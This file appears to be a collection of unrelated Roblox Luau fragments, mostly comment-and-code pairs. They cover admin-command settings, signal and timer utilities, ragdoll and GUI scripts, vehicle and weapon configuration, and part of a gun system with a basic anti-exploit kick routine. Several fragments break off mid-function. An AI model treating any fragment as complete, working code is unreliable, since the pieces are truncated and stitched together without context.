unbanned",1,"Message",speaker) elseif n == 0 then text("That name is not found.",1,"Message",speaker) elseif n > 1 then text("That name is ambiguous",1,"Message",speaker) end end end
-------------------------
function onClicked() R.Function1.Disabled = false R.BrickColor = BrickColor.new("Really black") R.Function2.Disabled = true end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--Inf amounts tools giver delele "--" to activate and delete line upper or comment them
-- Ride variables
GameSettings.Platform = { ["MOVE_SPEED"] = 40 }
-- -- THESE ARE THE CORE SETTINGS -- YOU WILL NOT BE ABLE TO CHANGE THEM IN-GAME
local Settings={ --[[ Style Options ������������� ]] Flat=false; -- Enables Flat theme / Disables Aero theme ForcedColor=false; -- Forces everyone to have set color & transparency Color=Color3.new(0,0,0); -- Changes the Color of the user interface ColorTransparency=.75; -- Changes the Transparency of the user interface Chat=false; -- Enables the custom chat BubbleChat=false; -- Enables the custom bubble chat --[[ Basic Settings �������������� ]] AdminCredit=true; -- Enables the credit GUI for that appears in the bottom right AutoClean=false; -- Enables automatic cleaning of hats & tools in the Workspace AutoCleanDelay=60; -- The delay between each AutoClean routine CommandBar=true; -- Enables the Command Bar | GLOBAL KEYBIND: \ FunCommands=true; -- Enables fun yet unnecessary commands FreeAdmin=1; -- Set to 1-5 to grant admin powers to all, otherwise set to false PublicLogs=false; -- Allows all users to see the command & chat logs Prefix=':'; -- Character to begin a command --[[ Admin Powers ������������ 0 Player 1 VIP Can use nonabusive commands only on self 2 Moderator Can kick, mute, & use most commands 3 Administrator Can ban, crash, & set Moderators/VIP 4 SuperAdmin Can grant permanent powers, & shutdown the game 5 Owner Can set SuperAdmins, & use all the commands 6 Game Creator Can set owners & use all the commands Group & VIP Admin ����������������� You can set multiple Groups & Ranks to grant users admin powers GroupAdmin={ [12345]={[254]=4,[253]=3}; [GROUPID]={[RANK]=ADMINPOWER} }; You can set multiple Assets to grant users admin powers VIPAdmin={ [12345]=3; [54321]=4; [ITEMID]=ADMINPOWER; }; ]] GroupAdmin={ }; VIPAdmin={ }; --[[ Permissions ����������� -- You can set the admin power required to use a command -- COMMANDNAME=ADMINPOWER; ]] Permissions={ }; } return {Settings,{Owners,SuperAdmins,Admins,Mods,VIP,Banned}}
-- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Takes *n* objects from a table and returns a new table only containing those objects.
Table.take = function (tbl, n) return table.move(tbl, 1, n, 1, table.create(n)) end
-- how many bullets are fired at a time
local BulletCount = 20
--[=[ Provides utilities for working with valuesbase objects, like IntValue or ObjectValue in Roblox. @class ValueBaseUtils ]=]
local ValueBaseUtils = {} function ValueBaseUtils.isValueBase(instance) return typeof(instance) == "Instance" and instance.ClassName:sub(-#"Value") == "Value" end function ValueBaseUtils.getOrCreateValue(parent, instanceType, name, defaultValue) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if not foundChild:IsA(instanceType) then warn(("[ValueBaseUtils.getOrCreateValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) end return foundChild else local newChild = Instance.new(instanceType) newChild.Name = name newChild.Value = defaultValue newChild.Parent = parent return newChild end end function ValueBaseUtils.setValue(parent, instanceType, name, value) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if not foundChild:IsA(instanceType) then warn(("[ValueBaseUtils.setValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) end foundChild.Value = value else local newChild = Instance.new(instanceType) newChild.Name = name newChild.Value = value newChild.Parent = parent end end function ValueBaseUtils.getValue(parent, instanceType, name, default) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if foundChild:IsA(instanceType) then return foundChild.Value else warn(("[ValueBaseUtils.getValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) return nil end else return default end end function ValueBaseUtils.createGetSet(instanceType, name) assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") return function(parent, defaultValue) assert(typeof(parent) == "Instance", "Bad argument 'parent'") return ValueBaseUtils.getValue(parent, instanceType, name, defaultValue) end, function(parent, value) assert(typeof(parent) == "Instance", "Bad argument 'parent'") return ValueBaseUtils.setValue(parent, instanceType, name, value) end, function(parent, defaultValue) return ValueBaseUtils.getOrCreateValue(parent, instanceType, name, defaultValue) end end return ValueBaseUtils
-- NOTE: TEXTBOUNDS.X CANNOT BE MORE THAN TEXTLABEL.ABSOLUTESIZE.X OR YOU WILL GET UNDESIRABLE BEHAVIOR
local root = script.Parent local surfaces = { 'Front', 'Left', 'Back', 'Right' } local speed = 2 -- how many seconds it should take to travel across one surface local size = 2 -- the number of textlabels to move before and after the current one function GetPreceedingLabels(index) local labels = {} for i=1,size do local this = index-i table.insert(labels, root:FindFirstChild(surfaces[this] or surfaces[#surfaces+this], true).Frame.TextLabel ) end return labels end function GetSucceedingLabels(index) local labels = {} for i=1,size do local this = index+i
-- Disconnect all handlers. Since we use a linked list it suffices to clear the -- reference to the head handler.
function Signal:DisconnectAll() self._handlerListHead = false end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -1 Tune.RCamber = -1 Tune.FCaster = 0 Tune.FToe = 0 Tune.RToe = 0
-- initialize to idle
playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end
-- {game.Players.ACHRAF_BLOX, game.Players.Shedletsky, game.Players.Esstams92}
--[=[ @type PerServiceMiddleware {[string]: Middleware} @within KnitClient ]=]
type PerServiceMiddleware = {[string]: Middleware}
-- << SETTINGS >>
Settings={ -- <Prefix> Prefix =";" ; -- The character used to begin each command -- <Owner chat colour> OwnerChatColour = "y" ; --w/r/g/b/p/y OR white/red/green/blue/purple/yellow -- <Donor Perks> **Please keep enabled to help support the development of HD Admin Commands** DonorItem = true ; DonorItemId = 10472779 ; DonorCommands = true ; -- <Other> CmdBar = true ; -- Enabled/disales the cmdbar - press @ to open the cmdbar HDIcon = true ; -- The HD Icon in the corner of screen (helps support the development HD Admin Commands) AutoPrompt = false ; -- This prompts all players to take a free copy of the model. Set to 'false' to disable. FreeAdmin = false ; -- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = "VIP" '. Set to False if not. You can not set to 'Owner'. NoticeSound = 261082034 ; -- Notification sound ID NoticeSoundVol = 0.5 ; -- How loud the notification sound is. Must be between 0 and 1. ErrorSound = 138090596 ; -- Error sound ID ErrorSoundVol = 0.5 ; -- How loud the error sound is. Must be between 0 and 1. } ;
--template for legs -- local mechLegs = { -- ["rightLeg"] = { -- ["CurrentCycle"] = 0, -- ["LimbChain"] = rightLegChain, -- ["HipAttachment"]= rightHipAttachment, -- ["FootAttachment"] = rightStepAttachment, -- },
-- If the platform is too slow and moveDelay is too fast, then the platform might not reach the destination in time.
hideDestinationBlocks = true --[[ If you set this to true, then the destination blocks will be hidden when you play. Otherwise, set it to false if you want to see them. ------------------------------------------------------------------------------------------------------------------------------]]
-- Visualizes a ray. This will not run if FastCast.VisualizeCasts is false.
function DbgVisualizeSegment(castStartCFrame: CFrame, castLength: number): ConeHandleAdornment? --if ClientSettings.Debug.Value == false then return nil end if true then return end local adornment = Instance.new("CylinderHandleAdornment") adornment.Adornee = workspace.Terrain adornment.CFrame = castStartCFrame adornment.Height = castLength adornment.Color3 = Color3.new(1, 0, 0) adornment.Radius = 0.05 adornment.Transparency = 0.5 adornment.Parent = GetFastCastVisualizationContainer() Debris:AddItem(adornment, 3) return adornment end
--Gauge
MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M" ModelWeld(misc.Tach.Parts,misc.Tach.M) MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N" ModelWeld(misc.Speedo.Parts,misc.Speedo.N) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
--[[ Builds a map that allows us to find Attachment0/Attachment1 when we have the other, and keep track of the joint that connects them. Format is { ["WaistRigAttachment"] = { Joint = UpperTorso.Waist<Motor6D>, Attachment0 = LowerTorso.WaistRigAttachment<Attachment>, Attachment1 = UpperToros.WaistRigAttachment<Attachment>, }, ... } --]]
function buildAttachmentMap(character) local attachmentMap = {} -- NOTE: GetConnectedParts doesn't work until parts have been parented to Workspace, so -- we can't use it (unless we want to have that silly restriction for creating ragdolls) for _,part in pairs(character:GetChildren()) do if part:IsA("BasePart") then for _,attachment in pairs(part:GetChildren()) do if attachment:IsA("Attachment") then local jointName = attachment.Name:match("^(.+)RigAttachment$") local joint = jointName and attachment.Parent:FindFirstChild(jointName) or nil if joint then attachmentMap[attachment.Name] = { Joint = joint, Attachment0=joint.Part0[attachment.Name]; Attachment1=joint.Part1[attachment.Name]; } end end end end end return attachmentMap end return function(character) local humanoid = character:FindFirstChild("Humanoid") -- Trying to recover from broken joints is not fun. It's impossible to reattach things like -- armor and tools in a generic way that works across all games, so we just prevent that -- from happening in the first place. humanoid.BreakJointsOnDeath = false -- Roblox decided to make the ghost HumanoidRootPart CanCollide=true for some reason, so -- we correct this and disable collisions. This prevents the invisible part from colliding -- with the world and ruining the physics simulation (e.g preventing a roundish torso from -- rolling) local rootPart = character:FindFirstChild("HumanoidRootPart") if rootPart then rootPart.CanCollide = false end local attachmentMap = buildAttachmentMap(character) local ragdollConstraints = buildConstraints(attachmentMap) local collisionFilters = buildCollisionFilters(attachmentMap, character.PrimaryPart) collisionFilters.Parent = ragdollConstraints ragdollConstraints.Parent = character end
--// All global vars will be wiped/replaced except script --// All guis are autonamed codeName..gui.Name
return function(data) local player = service.Players.LocalPlayer local playergui = player.PlayerGui local gui = script.Parent.Parent local frame = gui.Frame local text = gui.Frame.TextBox local scroll = gui.Frame.ScrollingFrame local players = gui.Frame.PlayerList local entry = gui.Entry local BindEvent = gTable.BindEvent local opened = false local scrolling = false local debounce = false local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey"}) local splitKey = settings.SplitKey local consoleKey = settings.ConsoleKeyCode local batchKey = settings.BatchKey local commands = client.Remote.Get('FormattedCommands') or {} local scrollOpenSize = UDim2.new(0.36, 0, 0, 200) local scrollCloseSize = UDim2.new(0.36, 0, 0, 47) local openPos = UDim2.new(0.32, 0, 0.353, 0) local closePos = UDim2.new(0.32, 0, 0, -200) local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, { Size = scrollOpenSize; }) local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, { Size = scrollCloseSize; }) local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, { Position = openPos; }) local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, { Position = closePos; }) frame.Position = closePos frame.Visible = false frame.Size = scrollCloseSize scroll.Visible = false client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') local function close() if gui:IsDescendantOf(game) and not debounce then debounce = true scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) scroll.ScrollingEnabled = false frame.Size = scrollCloseSize scroll.Visible = false players.Visible = false scrollOpen = false consoleCloseTween:Play(); debounce = false opened = false end end local function open() if gui:IsDescendantOf(game) and not debounce then debounce = true scroll.ScrollingEnabled = true players.ScrollingEnabled = true consoleOpenTween:Play(); frame.Size = scrollCloseSize scroll.Visible = false players.Visible = false scrollOpen = false text.Text = '' frame.Visible = true frame.Position = openPos; text:CaptureFocus() text.Text = '' wait() text.Text = '' debounce = false opened = true end end text.FocusLost:connect(function(enterPressed) if enterPressed then if text.Text~='' and string.len(text.Text)>1 then client.Remote.Send('ProcessCommand',text.Text) end end close() end) text.Changed:connect(function(c) if c == 'Text' and text.Text ~= '' and open then scroll:ClearAllChildren() players:ClearAllChildren() local nText = text.Text if string.match(nText,".*"..batchKey.."([^']+)") then nText = string.match(nText,".*"..batchKey.."([^']+)") nText = string.match(nText,"^%s*(.-)%s*$") end local pNum = 0 local pMatch = string.match(nText,".+"..splitKey.."(.*)$") for i,v in next,service.Players:GetChildren() do if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then local new = entry:Clone() new.Text = tostring(v) new.TextXAlignment = "Right" new.Visible = true new.Parent = players new.Position = UDim2.new(0,0,0,20*pNum) new.MouseButton1Down:connect(function() text.Text = text.Text..tostring(v) text:CaptureFocus() end) pNum = pNum+1 end end players.CanvasSize = UDim2.new(0,0,0,pNum*20) local num = 0 for i,v in next,commands do if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then if not scrollOpen then scrollOpenTween:Play(); --frame.Size = UDim2.new(1,0,0,140) scroll.Visible = true players.Visible = true scrollOpen = true end local b = entry:Clone() b.Visible = true b.Parent = scroll b.Text = v b.Position = UDim2.new(0,0,0,20*num) b.MouseButton1Down:connect(function() text.Text = b.Text text:CaptureFocus() end) num = num+1 end end if num > 0 then frame.Size = UDim2.new(0.36, 0, 0, math.clamp((math.max(num, pNum)*20)+53, 47, 200)) else players.Visible = false frame.Size = scrollCloseSize end scroll.CanvasSize = UDim2.new(0,0,0,num*20) elseif c == 'Text' and text.Text == '' and opened then scrollCloseTween:Play(); --service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) scroll.Visible = false players.Visible = false scrollOpen = false scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) end end) BindEvent(service.UserInputService.InputBegan, function(InputObject) local textbox = service.UserInputService:GetFocusedTextBox() if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then if opened then close() else open() end client.Variables.ConsoleOpen = opened end end) gTable:Ready() end
--[=[ @within Timer @prop Interval number Interval at which the `Tick` event fires. ]=] --[=[ @within Timer @prop UpdateSignal RBXScriptSignal | Signal The signal which updates the timer internally. ]=] --[=[ @within Timer @prop TimeFunction TimeFn The function which gets the current time. ]=] --[=[ @within Timer @prop AllowDrift boolean Flag which indicates if the timer is allowed to drift. This is set to `true` by default. This flag must be set before calling `Start` or `StartNow`. This flag should only be set to `false` if it is necessary for drift to be eliminated. ]=] --[=[ @within Timer @prop Tick RBXScriptSignal | Signal The event which is fired every time the timer hits its interval. ]=]
-- --
local Info = { -- These are constant values. Don't change them unless you know what you're doing. -- Services Players = Game:GetService 'Players', PathfindingService = Game:GetService 'PathfindingService', -- Advanced settings RecomputePathFrequency = 1, -- The monster will recompute its path this many times per second RespawnWaitTime = 5, -- How long to wait before the monster respawns JumpCheckFrequency = 100, -- How many times per second it will do a jump check } local Data = { -- These are variable values used internally by the script. Advanced users only. LastRecomputePath = 0, Recomputing = false, -- Reocmputing occurs async, meaning this script will still run while it's happening. This variable will prevent the script from running two recomputes at once. PathCoords = {}, IsDead = false, TimeOfDeath = 0, CurrentNode = nil, CurrentNodeIndex = 1, AutoRecompute = true, LastJumpCheck = 0, LastAttack = 0, BaseMonster = Self:Clone(), AttackTrack = nil, }
-- Initialize the tool
local MeshTool = { Name = 'Mesh Tool'; Color = BrickColor.new 'Bright violet'; };
--------| Variables |--------
local shakeId = 0
--[[ Marks the store as deleted, disconnecting any outstanding connections. ]]
function Store:destruct() for _, connection in ipairs(self._connections) do connection:Disconnect() end self._connections = nil end
--
script.Parent.Handle3.Hinge1.Transparency = 1 script.Parent.Handle3.Interactive1.Transparency = 1 script.Parent.Handle3.Part1.Transparency = 1 wait(0.03) script.Parent.Handle1.Hinge1.Transparency = 0 script.Parent.Handle1.Interactive1.Transparency = 0 script.Parent.Handle1.Part1.Transparency = 0
-- Implement Signal:Wait() in terms of a temporary connection using -- a Signal:Connect() which disconnects itself.
function Signal.Wait(self: ClassType) local waitingCoroutine = coroutine.running() local cn: SignalConnection cn = self:Connect(function(...: any?) cn:Disconnect() task.spawn(waitingCoroutine, ...) end) return coroutine.yield() end return Signal
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = true ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 1 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.225) ,SlideExtend = Vector3.new(0, 0, 0.225)
-- services
local Workspace = game:GetService("Workspace") local Players = game:GetService("Players") local StarterGui = game:GetService("StarterGui")
------/// PUT IN Workspace OR ServerScriptStorage <3 \\\------
--[[ This holds all the logic and user experience for the warmup user interface view. ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local translate = require(ReplicatedStorage.Dependencies.GameUtils.TranslateUtils).translate local Players = game.Players local LocalPlayer = Players.LocalPlayer local Warmup = {} local elements = ReplicatedStorage.UIViews.Warmup local activeElements
-- Private Methods
function init(self) local button = self.Button local listFrame = self.ListFrame local function contentSizeUpdate() local absSize = button.AbsoluteSize local ratio = absSize.y / absSize.x button.Arrow.Size = UDim2.new(ratio, 0, 1, 0) button.Option.Size = UDim2.new(1 - ratio, -12, 1, 0) end contentSizeUpdate() self._Maid:Mark(button:GetPropertyChangedSignal("AbsoluteSize"):Connect(contentSizeUpdate)) for i, optionButton in next, listFrame.ScrollFrame:GetChildren() do self._Options[i] = optionButton optionButton.Activated:Connect(function() self:Set(optionButton) end) end self._Maid:Mark(button.Activated:Connect(function() self:Show(not listFrame.Visible) end)) self._Maid:Mark(UIS.InputBegan:Connect(function(input) if (VALID_PRESS[input.UserInputType]) then local p = input.Position local p2 = Vector2.new(p.x, p.y) if (listFrame.Visible and not (isInFrame(listFrame, p2) or isInFrame(button, p2))) then self:Show(false) end end end)) end function isInFrame(frame, pos) local fPos = frame.AbsolutePosition local fSize = frame.AbsoluteSize local d = pos - fPos return (d.x >= 0 and d.x <= fSize.x and d.y >= 0 and d.y <= fSize.y) end
----- Initialize -----
for _, player in ipairs(Players:GetPlayers()) do PlayerReference[player] = true end RateLimiter.Default = RateLimiter.NewRateLimiter(SETTINGS.DefaultRateLimiterRate)
--[=[ @param fn ConnectionFn @return SignalConnection Connects a function to the signal, which will be called anytime the signal is fired. ```lua signal:Connect(function(msg, num) print(msg, num) end) signal:Fire("Hello", 25) ``` ]=]
function Signal:Connect(fn) local connection = Connection.new(self, fn) if self._handlerListHead then connection._next = self._handlerListHead self._handlerListHead = connection else self._handlerListHead = connection end return connection end
-- Mounts the provided humanoid into the look-angle -- update system, binding all of its current and -- future Motor6D joints into the rotator.
function CharacterRealism:MountLookAngle(humanoid) local character = humanoid.Parent local rotator = character and self.Rotators[character] if not rotator then -- Create a rotator for this character. rotator = { Motors = {}; Pitch = { Goal = 0; Current = 0; }; Yaw = { Goal = 0; Current = 0; }; } -- If this is our character, the rotation -- values should not be interpolated while -- the client is in first person. local player = Players:GetPlayerFromCharacter(character) if player == self.Player then rotator.SnapFirstPerson = true end -- Register this rotator for the character. self.Rotators[character] = rotator -- Record all existing Motor6D joints -- and begin recording newly added ones. local function onDescendantAdded(desc) if desc:IsA("Motor6D") then self:AddMotor(rotator, desc) end end for _,desc in pairs(character:GetDescendants()) do onDescendantAdded(desc) end rotator.Listener = character.DescendantAdded:Connect(onDescendantAdded) end return rotator end
--Glenn's Anti-Exploit System (GAE for short). This code is very ugly, but does job done
local function compareTables(arr1, arr2) if arr1.gunName==arr2.gunName and arr1.Type==arr2.Type and arr1.ShootRate==arr2.ShootRate and arr1.Bullets==arr2.Bullets and arr1.LimbDamage[1]==arr2.LimbDamage[1] and arr1.LimbDamage[2]==arr2.LimbDamage[2] and arr1.TorsoDamage[1]==arr2.TorsoDamage[1]and arr1.TorsoDamage[2]==arr2.TorsoDamage[2]and arr1.HeadDamage[1]==arr2.HeadDamage[1] and arr1.HeadDamage[2]==arr2.HeadDamage[2] then return true; end; return false; end; local function secureSettings(Player,Gun,Module) local PreNewModule = Gun:FindFirstChild("ACS_Settings"); if not Gun or not PreNewModule then Player:kick("Exploit Protocol"); warn(Player.Name.." - Potential Exploiter! Case 2: Missing Gun And Module") ; return false; end; local NewModule = require(PreNewModule); if (compareTables(Module, NewModule) == false) then Player:kick("Exploit Protocol"); warn(Player.Name.." - Potential Exploiter! Case 4: Exploiting Gun Stats") ; table.insert(_G.TempBannedPlayers, Player); return false; end; return true; end; function CalculateDMG(SKP_0, SKP_1, SKP_2, SKP_4, SKP_5, SKP_6) local skp_0 = plr:GetPlayerFromCharacter(SKP_1.Parent) or nil local skp_1 = 0 local skp_2 = SKP_5.MinDamage * SKP_6.minDamageMod if SKP_4 == 1 then local skp_3 = math.random(SKP_5.HeadDamage[1], SKP_5.HeadDamage[2]) skp_1 = math.max(skp_2 ,(skp_3 * SKP_6.DamageMod) - (SKP_2/25) * SKP_5.DamageFallOf) elseif SKP_4 == 2 then local skp_3 = math.random(SKP_5.TorsoDamage[1], SKP_5.TorsoDamage[2]) skp_1 = math.max(skp_2 ,(skp_3 * SKP_6.DamageMod) - (SKP_2/25) * SKP_5.DamageFallOf) else local skp_3 = math.random(SKP_5.LimbDamage[1], SKP_5.LimbDamage[2]) skp_1 = math.max(skp_2 ,(skp_3 * SKP_6.DamageMod) - (SKP_2/25) * SKP_5.DamageFallOf) end if SKP_1.Parent:FindFirstChild("ACS_Client") and not SKP_5.IgnoreProtection then local skp_4 = SKP_1.Parent.ACS_Client.Protecao.VestProtect local skp_5 = SKP_1.Parent.ACS_Client.Protecao.HelmetProtect if SKP_4 == 1 then if SKP_5.BulletPenetration < skp_5.Value then skp_1 = math.max(.5 ,skp_1 * (SKP_5.BulletPenetration/skp_5.Value)) end else if SKP_5.BulletPenetration < skp_4.Value then skp_1 = math.max(.5 ,skp_1 * (SKP_5.BulletPenetration/skp_4.Value)) end end end if skp_0 then if skp_0.Team ~= SKP_0.Team or skp_0.Neutral then local skp_t = Instance.new("ObjectValue") skp_t.Name = "creator" skp_t.Value = SKP_0 skp_t.Parent= SKP_1 game.Debris:AddItem(skp_t, 1) SKP_1:TakeDamage(skp_1) return; end; if not gameRules.TeamKill then return; end; local skp_t = Instance.new("ObjectValue") skp_t.Name = "creator" skp_t.Value = SKP_0 skp_t.Parent= SKP_1 game.Debris:AddItem(skp_t, 1) SKP_1:TakeDamage(skp_1 * gameRules.TeamDmgMult) return; end local skp_t = Instance.new("ObjectValue") skp_t.Name = "creator" skp_t.Value = SKP_0 skp_t.Parent= SKP_1 game.Debris:AddItem(skp_t, 1) SKP_1:TakeDamage(skp_1 / 6) return; end local function Damage(SKP_0, SKP_1, SKP_2, SKP_3, SKP_4, SKP_5, SKP_6, SKP_7, SKP_8, SKP_9) if not SKP_0 or not SKP_0.Character then return; end; if not SKP_0.Character:FindFirstChild("Humanoid") or SKP_0.Character.Humanoid.Health <= 0 then return; end; if SKP_9 == (ACS_0.."-"..SKP_0.UserId) then if SKP_7 then SKP_0.Character.Humanoid:TakeDamage(math.max(SKP_8, 0)) return; end if SKP_1 then local skp_0 = secureSettings(SKP_0,SKP_1, SKP_5) if not skp_0 or not SKP_2 then return; end; CalculateDMG(SKP_0, SKP_2, SKP_3, SKP_4, SKP_5, SKP_6) return; end SKP_0:kick("Exploit Protocol") warn(SKP_0.Name.." - Potential Exploiter! Case 1: Tried To Access Damage Event") table.insert(_G.TempBannedPlayers, SKP_0) return; end SKP_0:kick("Exploit Protocol") warn(SKP_0.Name.." - Potential Exploiter! Case 0-B: Wrong Permission Code") table.insert(_G.TempBannedPlayers, SKP_0) return; end Evt.Damage.OnServerInvoke = Damage Evt.HitEffect.OnServerEvent:Connect(function(Player, Position, HitPart, Normal, Material, Settings) Evt.HitEffect:FireAllClients(Player, Position, HitPart, Normal, Material, Settings) Engine.GunHit:Fire(Player, Position, HitPart, Normal, Material, Settings) end) Evt.GunStance.OnServerEvent:Connect(function(Player,stance,Data) Evt.GunStance:FireAllClients(Player,stance,Data) end) Evt.ServerBullet.OnServerEvent:Connect(function(Player,Origin,Direction,WeaponData,ModTable) Evt.ServerBullet:FireAllClients(Player,Origin,Direction,WeaponData,ModTable) end) Evt.Stance.OnServerEvent:connect(function(Player, Stance, Virar) if not Player or not Player.Character then return; end; --// Player or Character doesn't exist if not Player.Character:FindFirstChild("Humanoid") or Player.Character.Humanoid.Health <= 0 then return; end; --// Player is dead local ACS_Client= Player.Character:FindFirstChild("ACS_Client") if not ACS_Client then return; end; local Torso = Player.Character:FindFirstChild("Torso") local RootPart = Player.Character:FindFirstChild("HumanoidRootPart") if not Torso or not RootPart then return; end; --// Essential bodyparts doesn't exist in this character local RootJoint = RootPart:FindFirstChild("RootJoint") local RS = Torso:FindFirstChild("Right Shoulder") local LS = Torso:FindFirstChild("Left Shoulder") local RH = Torso:FindFirstChild("Right Hip") local LH = Torso:FindFirstChild("Left Hip") if not RootJoint or not RS or not LS or not RH or not LH then return; end; --// Joints doesn't exist if Stance == 2 then TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(0,1.5,2.45) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(180))} ):Play() TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(-5),math.rad(90),math.rad(0))} ):Play() TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(-5),math.rad(-90),math.rad(0))} ):Play() end if Virar == 1 then if Stance == 0 then TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(-1,-0,0) * CFrame.Angles(math.rad(-90),math.rad(-15),math.rad(-180))} ):Play() TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play() TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play() elseif Stance == 1 then TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(-1,.75,0.25)* CFrame.Angles(math.rad(-80),math.rad(-15),math.rad(-180))} ):Play() TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(90),math.rad(0))} ):Play() TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(-90),math.rad(0))} ):Play() end elseif Virar == -1 then if Stance == 0 then TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(1,0,0) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(180))} ):Play() TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play() TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play() elseif Stance == 1 then TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(1,.75,0.25)* CFrame.Angles(math.rad(-80),math.rad(15),math.rad(180))} ):Play() TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(90),math.rad(0))} ):Play() TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(-90),math.rad(0))} ):Play() end elseif Virar == 0 then if Stance == 0 then TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(0,0,0)* CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180))} ):Play() TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play() TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play() elseif Stance == 1 then TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(0,1,0.25)* CFrame.Angles(math.rad(-80),math.rad(0),math.rad(180))} ):Play() TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(90),math.rad(0))} ):Play() 